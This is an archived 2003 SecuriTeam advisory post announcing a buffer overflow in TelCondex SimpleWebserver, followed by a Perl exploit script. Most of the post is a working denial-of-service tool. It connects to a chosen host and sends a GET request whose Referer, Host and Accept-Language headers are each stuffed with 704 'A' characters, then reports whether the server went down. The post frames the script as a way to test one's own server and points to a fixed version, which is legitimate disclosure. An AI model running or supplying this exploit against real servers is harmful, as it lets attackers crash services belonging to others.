[EXPL] TelCondex SimpleWebserver Buffer Overflow (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 11/06/03

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Date: 6 Nov 2003 11:18:51 +0200

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      TelCondex SimpleWebserver Buffer Overflow (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article
    <http://www.securiteam.com/windowsntfocus/6W00W008KU.html> TelCondex
    SimpleWebserver Buffer Overflow, a vulnerability in the web server allows
    remote attackers to overflow an internal buffer. The following exploit
    code can be used to test your server for the mentioned vulnerability.

    DETAILS

    Exploit:
    #!/usr/local/bin/perl
    # TelCondex WebServer: Buffer overflow
    # ------------------------------------
    #
    # Vendor: TelCondex SimpleWebserver(tc.SimpleWebServer)
    # Version: 2.12.30210 Build 3285
    # Discoverer: Oliver Karow<oliver.karow@gmx.de>
    # Exploit: DoS(Denial Of Service) By Blade<blade@abez.org>
    # Solution: Download Fixed
    Version<http://www.telcondex.de/pub/sws_default.htm>
    # <FiH eZine 2003 - http://www.fihezine.tsx.to>
    ####################################################################
            use IO::Socket;

     print '
     TelCondex Webserver DoS Exploit -
     Programmer: Blade<blade@abez.org> - Discoverer:
    Oliver.K.<oliver.karow@gmx.de>
              FiH eZiNe 2002<>2003 - http://www.fihezine.tsx.to\n
                        Usage: TelCondex.pl <HostVulnerable> [Port] ';

            $server = $ARGV[0];
            if ($ARGV[1] == 0){ $port=80; } else { $port=$ARGV[1]; }

            print" Connecting...";
            $Sock=IO::Socket::INET->new(Proto=>"tcp",
    PeerAddr=>$server,PeerPort=>$port, Timeout=>5);
            if ($Sock){
            print" Conected...";
            $Sock->autoflush(1);

            print $Sock "GET / HTTP/1.1\r\n".
                         "Accept: */* \r\n".
                         "Referer: ". ("A" x 704) ."\r\n".
                         "Host: ". ("A" x 704) ."\r\n".
                         "Accept-Language: ". ("A" x 704) ."\r\n\r\n";
            @Respost=<$Sock>;
            close($Sock);
            if (@Respost == 0){die " D.o.S Completed!\n";} else { print "
    D.o.S
    Not Completed"; }
            }else{ print"Impossible to connect from $server"; }

    ADDITIONAL INFORMATION

    The information has been provided by
    <mailto:blade@bladeinternetsecure.com> Blade.

    ========================================

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